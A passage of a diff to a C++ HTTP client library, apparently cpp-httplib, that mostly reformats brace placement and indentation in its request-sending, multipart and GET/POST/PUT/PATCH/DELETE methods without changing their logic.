req.headers.insert(make_bearer_token_authentication_header( + proxy_bearer_token_auth_token_, true)); + } } - } - if (!proxy_bearer_token_auth_token_.empty()) { - if (!req.has_header("Proxy-Authorization")) { - req.headers.insert(make_bearer_token_authentication_header( - proxy_bearer_token_auth_token_, true)); + // Request line and headers + { + detail::BufferStream bstrm; + + const auto &path = url_encode_ ? detail::encode_url(req.path) : req.path; + bstrm.write_format("%s %s HTTP/1.1\r\n", req.method.c_str(), path.c_str()); + + header_writer_(bstrm, req.headers); + + // Flush buffer + auto &data = bstrm.get_buffer(); + if (!detail::write_data(strm, data.data(), data.size())) { + error = Error::Write; + return false; + } } - } - // Request line and headers - { - detail::BufferStream bstrm; - - const auto &path = url_encode_ ? detail::encode_url(req.path) : req.path; - bstrm.write_format("%s %s HTTP/1.1\r\n", req.method.c_str(), path.c_str()); - - header_writer_(bstrm, req.headers); - - // Flush buffer - auto &data = bstrm.get_buffer(); - if (!detail::write_data(strm, data.data(), data.size())) { - error = Error::Write; - return false; + // Body + if (req.body.empty()) { + return write_content_with_provider(strm, req, error); } - } - // Body - if (req.body.empty()) { - return write_content_with_provider(strm, req, error); - } + if (!detail::write_data(strm, req.body.data(), req.body.size())) { + error = Error::Write; + return false; + } - if (!detail::write_data(strm, req.body.data(), req.body.size())) { - error = Error::Write; - return false; - } - - return true; + return true; } inline std::unique_ptr ClientImpl::send_with_content_provider( Request &req, const char *body, size_t content_length, ContentProvider content_provider, ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type, Error &error) { - if (!content_type.empty()) { req.set_header("Content-Type", content_type); } + const std::string &content_type, Error &error) +{ + if (!content_type.empty()) { + req.set_header("Content-Type", content_type); + } #ifdef CPPHTTPLIB_ZLIB_SUPPORT - if (compress_) { req.set_header("Content-Encoding", "gzip"); } + if (compress_) { + req.set_header("Content-Encoding", "gzip"); + } #endif #ifdef CPPHTTPLIB_ZLIB_SUPPORT - if (compress_ && !content_provider_without_length) { - // TODO: Brotli support - detail::gzip_compressor compressor; + if (compress_ && !content_provider_without_length) { + // TODO: Brotli support + detail::gzip_compressor compressor; - if (content_provider) { - auto ok = true; - size_t offset = 0; - DataSink data_sink; + if (content_provider) { + auto ok = true; + size_t offset = 0; + DataSink data_sink; - data_sink.write = [&](const char *data, size_t data_len) -> bool { - if (ok) { - auto last = offset + data_len == content_length; + data_sink.write = [&](const char *data, size_t data_len) -> bool { + if (ok) + { + auto last = offset + data_len == content_length; - auto ret = compressor.compress( - data, data_len, last, - [&](const char *compressed_data, size_t compressed_data_len) { - req.body.append(compressed_data, compressed_data_len); + auto ret = compressor.compress( + data, data_len, last, + [&](const char *compressed_data, size_t compressed_data_len) { + req.body.append(compressed_data, compressed_data_len); + return true; + }); + + if (ret) { + offset += data_len; + } else { + ok = false; + } + } + return ok; + }; + + while (ok && offset < content_length) { + if (!content_provider(offset, content_length - offset, data_sink)) { + error = Error::Canceled; + return nullptr; + } + } + } else { + if (!compressor.compress(body, content_length, true, + [&](const char *data, size_t data_len) { + req.body.append(data, data_len); return true; - }); - - if (ret) { - offset += data_len; - } else { - ok = false; - } + })) { + error = Error::Compression; + return nullptr; + } } - return ok; - }; - - while (ok && offset < content_length) { - if (!content_provider(offset, content_length - offset, data_sink)) { - error = Error::Canceled; - return nullptr; - } - } - } else { - if (!compressor.compress(body, content_length, true, - [&](const char *data, size_t data_len) { - req.body.append(data, data_len); - return true; - })) { - error = Error::Compression; - return nullptr; - } - } - } else + } else #endif - { - if (content_provider) { - req.content_length_ = content_length; - req.content_provider_ = std::move(content_provider); - req.is_chunked_content_provider_ = false; - } else if (content_provider_without_length) { - req.content_length_ = 0; - req.content_provider_ = detail::ContentProviderAdapter( - std::move(content_provider_without_length)); - req.is_chunked_content_provider_ = true; - req.set_header("Transfer-Encoding", "chunked"); - } else { - req.body.assign(body, content_length); + { + if (content_provider) { + req.content_length_ = content_length; + req.content_provider_ = std::move(content_provider); + req.is_chunked_content_provider_ = false; + } else if (content_provider_without_length) { + req.content_length_ = 0; + req.content_provider_ = detail::ContentProviderAdapter( + std::move(content_provider_without_length)); + req.is_chunked_content_provider_ = true; + req.set_header("Transfer-Encoding", "chunked"); + } else { + req.body.assign(body, content_length); + } } - } - auto res = detail::make_unique(); - return send(req, *res, error) ? std::move(res) : nullptr; + auto res = detail::make_unique(); + return send(req, *res, error) ? std::move(res) : nullptr; } inline Result ClientImpl::send_with_content_provider( const std::string &method, const std::string &path, const Headers &headers, const char *body, size_t content_length, ContentProvider content_provider, ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type) { - Request req; - req.method = method; - req.headers = headers; - req.path = path; + const std::string &content_type) +{ + Request req; + req.method = method; + req.headers = headers; + req.path = path; - auto error = Error::Success; + auto error = Error::Success; - auto res = send_with_content_provider( - req, body, content_length, std::move(content_provider), - std::move(content_provider_without_length), content_type, error); + auto res = send_with_content_provider( + req, body, content_length, std::move(content_provider), + std::move(content_provider_without_length), content_type, error); - return Result{std::move(res), error, std::move(req.headers)}; + return Result{std::move(res), error, std::move(req.headers)}; } inline std::string -ClientImpl::adjust_host_string(const std::string &host) const { - if (host.find(':') != std::string::npos) { return "[" + host + "]"; } - return host; +ClientImpl::adjust_host_string(const std::string &host) const +{ + if (host.find(':') != std::string::npos) { + return "[" + host + "]"; + } + return host; } inline bool ClientImpl::process_request(Stream &strm, Request &req, Response &res, bool close_connection, - Error &error) { - // Send request - if (!write_request(strm, req, close_connection, error)) { return false; } + Error &error) +{ + // Send request + if (!write_request(strm, req, close_connection, error)) { + return false; + } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - if (is_ssl()) { - auto is_proxy_enabled = !proxy_host_.empty() && proxy_port_ != -1; - if (!is_proxy_enabled) { - char buf[1]; - if (SSL_peek(socket_.ssl, buf, 1) == 0 && - SSL_get_error(socket_.ssl, 0) == SSL_ERROR_ZERO_RETURN) { - error = Error::SSLPeerCouldBeClosed_; - return false; - } + if (is_ssl()) { + auto is_proxy_enabled = !proxy_host_.empty() && proxy_port_ != -1; + if (!is_proxy_enabled) { + char buf[1]; + if (SSL_peek(socket_.ssl, buf, 1) == 0 && + SSL_get_error(socket_.ssl, 0) == SSL_ERROR_ZERO_RETURN) { + error = Error::SSLPeerCouldBeClosed_; + return false; + } + } } - } #endif - // Receive response and headers - if (!read_response_line(strm, req, res) || - !detail::read_headers(strm, res.headers)) { - error = Error::Read; - return false; - } - - // Body - if ((res.status != StatusCode::NoContent_204) && req.method != "HEAD" && - req.method != "CONNECT") { - auto redirect = 300 < res.status && res.status < 400 && follow_location_; - - if (req.response_handler && !redirect) { - if (!req.response_handler(res)) { - error = Error::Canceled; + // Receive response and headers + if (!read_response_line(strm, req, res) || + !detail::read_headers(strm, res.headers)) { + error = Error::Read; return false; - } } - auto out = - req.content_receiver + // Body + if ((res.status != StatusCode::NoContent_204) && req.method != "HEAD" && + req.method != "CONNECT") { + auto redirect = 300 < res.status && res.status < 400 && follow_location_; + + if (req.response_handler && !redirect) { + if (!req.response_handler(res)) { + error = Error::Canceled; + return false; + } + } + + auto out = + req.content_receiver ? static_cast( - [&](const char *buf, size_t n, uint64_t off, uint64_t len) { - if (redirect) { return true; } - auto ret = req.content_receiver(buf, n, off, len); - if (!ret) { error = Error::Canceled; } - return ret; - }) + [&](const char *buf, size_t n, uint64_t off, uint64_t len) { + if (redirect) { + return true; + } + auto ret = req.content_receiver(buf, n, off, len); + if (!ret) { + error = Error::Canceled; + } + return ret; + }) : static_cast( [&](const char *buf, size_t n, uint64_t /*off*/, uint64_t /*len*/) { - if (res.body.size() + n > res.body.max_size()) { - return false; - } - res.body.append(buf, n); - return true; - }); + if (res.body.size() + n > res.body.max_size()) { + return false; + } + res.body.append(buf, n); + return true; + }); - auto progress = [&](uint64_t current, uint64_t total) { - if (!req.progress || redirect) { return true; } - auto ret = req.progress(current, total); - if (!ret) { error = Error::Canceled; } - return ret; - }; + auto progress = [&](uint64_t current, uint64_t total) { + if (!req.progress || redirect) { + return true; + } + auto ret = req.progress(current, total); + if (!ret) { + error = Error::Canceled; + } + return ret; + }; - int dummy_status; - if (!detail::read_content(strm, res, (std::numeric_limits::max)(), - dummy_status, std::move(progress), std::move(out), - decompress_)) { - if (error != Error::Canceled) { error = Error::Read; } - return false; + int dummy_status; + if (!detail::read_content(strm, res, (std::numeric_limits::max)(), + dummy_status, std::move(progress), std::move(out), + decompress_)) { + if (error != Error::Canceled) { + error = Error::Read; + } + return false; + } } - } - // Log - if (logger_) { logger_(req, res); } + // Log + if (logger_) { + logger_(req, res); + } - return true; + return true; } inline ContentProviderWithoutLength ClientImpl::get_multipart_content_provider( const std::string &boundary, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) const { - size_t cur_item = 0; - size_t cur_start = 0; - // cur_item and cur_start are copied to within the std::function and maintain - // state between successive calls - return [&, cur_item, cur_start](size_t offset, - DataSink &sink) mutable -> bool { - if (!offset && !items.empty()) { - sink.os << detail::serialize_multipart_formdata(items, boundary, false); - return true; - } else if (cur_item < provider_items.size()) { - if (!cur_start) { - const auto &begin = detail::serialize_multipart_formdata_item_begin( - provider_items[cur_item], boundary); - offset += begin.size(); - cur_start = offset; - sink.os << begin; - } + const MultipartFormDataProviderItems &provider_items) const +{ + size_t cur_item = 0; + size_t cur_start = 0; + // cur_item and cur_start are copied to within the std::function and maintain + // state between successive calls + return [&, cur_item, cur_start](size_t offset, + DataSink &sink) mutable -> bool { + if (!offset && !items.empty()) + { + sink.os << detail::serialize_multipart_formdata(items, boundary, false); + return true; + } else if (cur_item < provider_items.size()) + { + if (!cur_start) { + const auto &begin = detail::serialize_multipart_formdata_item_begin( + provider_items[cur_item], boundary); + offset += begin.size(); + cur_start = offset; + sink.os << begin; + } - DataSink cur_sink; - auto has_data = true; - cur_sink.write = sink.write; - cur_sink.done = [&]() { has_data = false; }; + DataSink cur_sink; + auto has_data = true; + cur_sink.write = sink.write; + cur_sink.done = [&]() { + has_data = false; + }; - if (!provider_items[cur_item].provider(offset - cur_start, cur_sink)) { - return false; - } + if (!provider_items[cur_item].provider(offset - cur_start, cur_sink)) { + return false; + } - if (!has_data) { - sink.os << detail::serialize_multipart_formdata_item_end(); - cur_item++; - cur_start = 0; - } - return true; - } else { - sink.os << detail::serialize_multipart_formdata_finish(boundary); - sink.done(); - return true; - } - }; + if (!has_data) { + sink.os << detail::serialize_multipart_formdata_item_end(); + cur_item++; + cur_start = 0; + } + return true; + } else + { + sink.os << detail::serialize_multipart_formdata_finish(boundary); + sink.done(); + return true; + } + }; } inline bool ClientImpl::process_socket(const Socket &socket, - std::function callback) { - return detail::process_client_socket( - socket.sock, read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, std::move(callback)); + std::function callback) +{ + return detail::process_client_socket( + socket.sock, read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, std::move(callback)); } -inline bool ClientImpl::is_ssl() const { return false; } - -inline Result ClientImpl::Get(const std::string &path) { - return Get(path, Headers(), Progress()); +inline bool ClientImpl::is_ssl() const +{ + return false; } -inline Result ClientImpl::Get(const std::string &path, Progress progress) { - return Get(path, Headers(), std::move(progress)); +inline Result ClientImpl::Get(const std::string &path) +{ + return Get(path, Headers(), Progress()); } -inline Result ClientImpl::Get(const std::string &path, const Headers &headers) { - return Get(path, headers, Progress()); +inline Result ClientImpl::Get(const std::string &path, Progress progress) +{ + return Get(path, Headers(), std::move(progress)); +} + +inline Result ClientImpl::Get(const std::string &path, const Headers &headers) +{ + return Get(path, headers, Progress()); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, - Progress progress) { - Request req; - req.method = "GET"; - req.path = path; - req.headers = headers; - req.progress = std::move(progress); + Progress progress) +{ + Request req; + req.method = "GET"; + req.path = path; + req.headers = headers; + req.progress = std::move(progress); - return send_(std::move(req)); + return send_(std::move(req)); } inline Result ClientImpl::Get(const std::string &path, - ContentReceiver content_receiver) { - return Get(path, Headers(), nullptr, std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, Headers(), nullptr, std::move(content_receiver), nullptr); } inline Result ClientImpl::Get(const std::string &path, ContentReceiver content_receiver, - Progress progress) { - return Get(path, Headers(), nullptr, std::move(content_receiver), - std::move(progress)); + Progress progress) +{ + return Get(path, Headers(), nullptr, std::move(content_receiver), + std::move(progress)); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver) { - return Get(path, headers, nullptr, std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, headers, nullptr, std::move(content_receiver), nullptr); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, ContentReceiver content_receiver, - Progress progress) { - return Get(path, headers, nullptr, std::move(content_receiver), - std::move(progress)); + Progress progress) +{ + return Get(path, headers, nullptr, std::move(content_receiver), + std::move(progress)); } inline Result ClientImpl::Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return Get(path, Headers(), std::move(response_handler), - std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, Headers(), std::move(response_handler), + std::move(content_receiver), nullptr); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return Get(path, headers, std::move(response_handler), - std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, headers, std::move(response_handler), + std::move(content_receiver), nullptr); } inline Result ClientImpl::Get(const std::string &path, ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress) { - return Get(path, Headers(), std::move(response_handler), - std::move(content_receiver), std::move(progress)); + Progress progress) +{ + return Get(path, Headers(), std::move(response_handler), + std::move(content_receiver), std::move(progress)); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress) { - Request req; - req.method = "GET"; - req.path = path; - req.headers = headers; - req.response_handler = std::move(response_handler); - req.content_receiver = - [content_receiver](const char *data, size_t data_length, - uint64_t /*offset*/, uint64_t /*total_length*/) { + Progress progress) +{ + Request req; + req.method = "GET"; + req.path = path; + req.headers = headers; + req.response_handler = std::move(response_handler); + req.content_receiver = + [content_receiver](const char *data, size_t data_length, + uint64_t /*offset*/, uint64_t /*total_length*/) { return content_receiver(data, data_length); - }; - req.progress = std::move(progress); + }; + req.progress = std::move(progress); - return send_(std::move(req)); + return send_(std::move(req)); } inline Result ClientImpl::Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress) { - if (params.empty()) { return Get(path, headers); } + const Headers &headers, Progress progress) +{ + if (params.empty()) { + return Get(path, headers); + } - std::string path_with_query = append_query_params(path, params); - return Get(path_with_query, headers, progress); + std::string path_with_query = append_query_params(path, params); + return Get(path_with_query, headers, progress); } inline Result ClientImpl::Get(const std::string &path, const Params ¶ms, const Headers &headers, ContentReceiver content_receiver, - Progress progress) { - return Get(path, params, headers, nullptr, content_receiver, progress); + Progress progress) +{ + return Get(path, params, headers, nullptr, content_receiver, progress); } inline Result ClientImpl::Get(const std::string &path, const Params ¶ms, const Headers &headers, ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress) { - if (params.empty()) { - return Get(path, headers, response_handler, content_receiver, progress); - } + Progress progress) +{ + if (params.empty()) { + return Get(path, headers, response_handler, content_receiver, progress); + } - std::string path_with_query = append_query_params(path, params); - return Get(path_with_query, headers, response_handler, content_receiver, - progress); + std::string path_with_query = append_query_params(path, params); + return Get(path_with_query, headers, response_handler, content_receiver, + progress); } -inline Result ClientImpl::Head(const std::string &path) { - return Head(path, Headers()); +inline Result ClientImpl::Head(const std::string &path) +{ + return Head(path, Headers()); } inline Result ClientImpl::Head(const std::string &path, - const Headers &headers) { - Request req; - req.method = "HEAD"; - req.headers = headers; - req.path = path; + const Headers &headers) +{ + Request req; + req.method = "HEAD"; + req.headers = headers; + req.path = path; - return send_(std::move(req)); + return send_(std::move(req)); } -inline Result ClientImpl::Post(const std::string &path) { - return Post(path, std::string(), std::string()); +inline Result ClientImpl::Post(const std::string &path) +{ + return Post(path, std::string(), std::string()); } inline Result ClientImpl::Post(const std::string &path, - const Headers &headers) { - return Post(path, headers, nullptr, 0, std::string()); + const Headers &headers) +{ + return Post(path, headers, nullptr, 0, std::string()); } inline Result ClientImpl::Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Post(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Post(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, body, content_length, - nullptr, nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, body, content_length, + nullptr, nullptr, content_type); } inline Result ClientImpl::Post(const std::string &path, const std::string &body, - const std::string &content_type) { - return Post(path, Headers(), body, content_type); + const std::string &content_type) +{ + return Post(path, Headers(), body, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, body.data(), - body.size(), nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, body.data(), + body.size(), nullptr, nullptr, + content_type); } -inline Result ClientImpl::Post(const std::string &path, const Params ¶ms) { - return Post(path, Headers(), params); +inline Result ClientImpl::Post(const std::string &path, const Params ¶ms) +{ + return Post(path, Headers(), params); } inline Result ClientImpl::Post(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return Post(path, Headers(), content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return Post(path, Headers(), content_length, std::move(content_provider), + content_type); } inline Result ClientImpl::Post(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return Post(path, Headers(), std::move(content_provider), content_type); + const std::string &content_type) +{ + return Post(path, Headers(), std::move(content_provider), content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, nullptr, - content_length, std::move(content_provider), - nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, nullptr, + content_length, std::move(content_provider), + nullptr, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return send_with_content_provider("POST", path, headers, nullptr, 0, nullptr, - std::move(content_provider), content_type); + const std::string &content_type) +{ + return send_with_content_provider("POST", path, headers, nullptr, 0, nullptr, + std::move(content_provider), content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, - const Params ¶ms) { - auto query = detail::params_to_query_str(params); - return Post(path, headers, query, "application/x-www-form-urlencoded"); + const Params ¶ms) +{ + auto query = detail::params_to_query_str(params); + return Post(path, headers, query, "application/x-www-form-urlencoded"); } inline Result ClientImpl::Post(const std::string &path, - const MultipartFormDataItems &items) { - return Post(path, Headers(), items); + const MultipartFormDataItems &items) +{ + return Post(path, Headers(), items); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Post(path, headers, body, content_type); + const MultipartFormDataItems &items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Post(path, headers, body, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - if (!detail::is_multipart_boundary_chars_valid(boundary)) { - return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; - } + const std::string &boundary) +{ + if (!detail::is_multipart_boundary_chars_valid(boundary)) { + return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; + } - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Post(path, headers, body, content_type); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Post(path, headers, body, content_type); } inline Result ClientImpl::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - return send_with_content_provider( - "POST", path, headers, nullptr, 0, nullptr, - get_multipart_content_provider(boundary, items, provider_items), - content_type); + const MultipartFormDataProviderItems &provider_items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + return send_with_content_provider( + "POST", path, headers, nullptr, 0, nullptr, + get_multipart_content_provider(boundary, items, provider_items), + content_type); } -inline Result ClientImpl::Put(const std::string &path) { - return Put(path, std::string(), std::string()); +inline Result ClientImpl::Put(const std::string &path) +{ + return Put(path, std::string(), std::string()); } inline Result ClientImpl::Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Put(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Put(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, body, content_length, - nullptr, nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, body, content_length, + nullptr, nullptr, content_type); } inline Result ClientImpl::Put(const std::string &path, const std::string &body, - const std::string &content_type) { - return Put(path, Headers(), body, content_type); + const std::string &content_type) +{ + return Put(path, Headers(), body, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, body.data(), - body.size(), nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, body.data(), + body.size(), nullptr, nullptr, + content_type); } inline Result ClientImpl::Put(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return Put(path, Headers(), content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return Put(path, Headers(), content_length, std::move(content_provider), + content_type); } inline Result ClientImpl::Put(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return Put(path, Headers(), std::move(content_provider), content_type); + const std::string &content_type) +{ + return Put(path, Headers(), std::move(content_provider), content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, nullptr, - content_length, std::move(content_provider), - nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, nullptr, + content_length, std::move(content_provider), + nullptr, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return send_with_content_provider("PUT", path, headers, nullptr, 0, nullptr, - std::move(content_provider), content_type); + const std::string &content_type) +{ + return send_with_content_provider("PUT", path, headers, nullptr, 0, nullptr, + std::move(content_provider), content_type); } -inline Result ClientImpl::Put(const std::string &path, const Params ¶ms) { - return Put(path, Headers(), params); +inline Result ClientImpl::Put(const std::string &path, const Params ¶ms) +{ + return Put(path, Headers(), params); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, - const Params ¶ms) { - auto query = detail::params_to_query_str(params); - return Put(path, headers, query, "application/x-www-form-urlencoded"); + const Params ¶ms) +{ + auto query = detail::params_to_query_str(params); + return Put(path, headers, query, "application/x-www-form-urlencoded"); } inline Result ClientImpl::Put(const std::string &path, - const MultipartFormDataItems &items) { - return Put(path, Headers(), items); + const MultipartFormDataItems &items) +{ + return Put(path, Headers(), items); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Put(path, headers, body, content_type); + const MultipartFormDataItems &items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Put(path, headers, body, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - if (!detail::is_multipart_boundary_chars_valid(boundary)) { - return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; - } + const std::string &boundary) +{ + if (!detail::is_multipart_boundary_chars_valid(boundary)) { + return Result{nullptr, Error::UnsupportedMultipartBoundaryChars}; + } - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - const auto &body = detail::serialize_multipart_formdata(items, boundary); - return Put(path, headers, body, content_type); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + const auto &body = detail::serialize_multipart_formdata(items, boundary); + return Put(path, headers, body, content_type); } inline Result ClientImpl::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - const auto &boundary = detail::make_multipart_data_boundary(); - const auto &content_type = - detail::serialize_multipart_formdata_get_content_type(boundary); - return send_with_content_provider( - "PUT", path, headers, nullptr, 0, nullptr, - get_multipart_content_provider(boundary, items, provider_items), - content_type); + const MultipartFormDataProviderItems &provider_items) +{ + const auto &boundary = detail::make_multipart_data_boundary(); + const auto &content_type = + detail::serialize_multipart_formdata_get_content_type(boundary); + return send_with_content_provider( + "PUT", path, headers, nullptr, 0, nullptr, + get_multipart_content_provider(boundary, items, provider_items), + content_type); } -inline Result ClientImpl::Patch(const std::string &path) { - return Patch(path, std::string(), std::string()); +inline Result ClientImpl::Patch(const std::string &path) +{ + return Patch(path, std::string(), std::string()); } inline Result ClientImpl::Patch(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Patch(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, body, - content_length, nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, body, + content_length, nullptr, nullptr, + content_type); } inline Result ClientImpl::Patch(const std::string &path, const std::string &body, - const std::string &content_type) { - return Patch(path, Headers(), body, content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), body, content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, body.data(), - body.size(), nullptr, nullptr, - content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, body.data(), + body.size(), nullptr, nullptr, + content_type); } inline Result ClientImpl::Patch(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return Patch(path, Headers(), content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), content_length, std::move(content_provider), + content_type); } inline Result ClientImpl::Patch(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return Patch(path, Headers(), std::move(content_provider), content_type); + const std::string &content_type) +{ + return Patch(path, Headers(), std::move(content_provider), content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, nullptr, - content_length, std::move(content_provider), - nullptr, content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, nullptr, + content_length, std::move(content_provider), + nullptr, content_type); } inline Result ClientImpl::Patch(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return send_with_content_provider("PATCH", path, headers, nullptr, 0, nullptr, - std::move(content_provider), content_type); + const std::string &content_type) +{ + return send_with_content_provider("PATCH", path, headers, nullptr, 0, nullptr, + std::move(content_provider), content_type); } -inline Result ClientImpl::Delete(const std::string &path) { - return Delete(path, Headers(), std::string(), std::string()); +inline Result ClientImpl::Delete(const std::string &path) +{ + return Delete(path, Headers(), std::string(), std::string()); } inline Result ClientImpl::Delete(const std::string &path, - const Headers &headers) { - return Delete(path, headers, std::string(), std::string()); + const Headers &headers) +{ + return Delete(path, headers, std::string(), std::string()); } inline Result ClientImpl::Delete(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return Delete(path, Headers(), body, content_length, content_type); + const std::string &content_type) +{ + return Delete(path, Headers(), body, content_length, content_type); } inline Result ClientImpl::Delete(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - Request req; - req.method = "DELETE"; - req.headers = headers; - req.path = path; + const std::string &content_type) +{ + Request req; + req.method = "DELETE"; + req.headers = headers; + req.path = path; - if (!content_type.empty()) { req.set_header("Content-Type", content_type); } - req.body.assign(body, content_length); + if (!content_type.empty()) { + req.set_header("Content-Type", content_type); + } + req.body.assign(body, content_length); - return send_(std::move(req)); + return send_(std::move(req)); } inline Result ClientImpl::Delete(const std::string &path, const std::string &body, - const std::string &content_type) { - return Delete(path, Headers(), body.data(), body.size(), content_type); + const std::string &content_type) +{ + return Delete(path, Headers(), body.data(), body.size(), content_type); } inline Result ClientImpl::Delete(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return Delete(path, headers, body.data(), body.size(), content_type); + const std::string &content_type) +{ + return Delete(path, headers, body.data(), body.size(), content_type); } -inline Result ClientImpl::Options(const std::string &path) { - return Options(path, Headers()); +inline Result ClientImpl::Options(const std::string &path) +{ + return Options(path, Headers()); } inline Result ClientImpl::Options(const std::string &path, 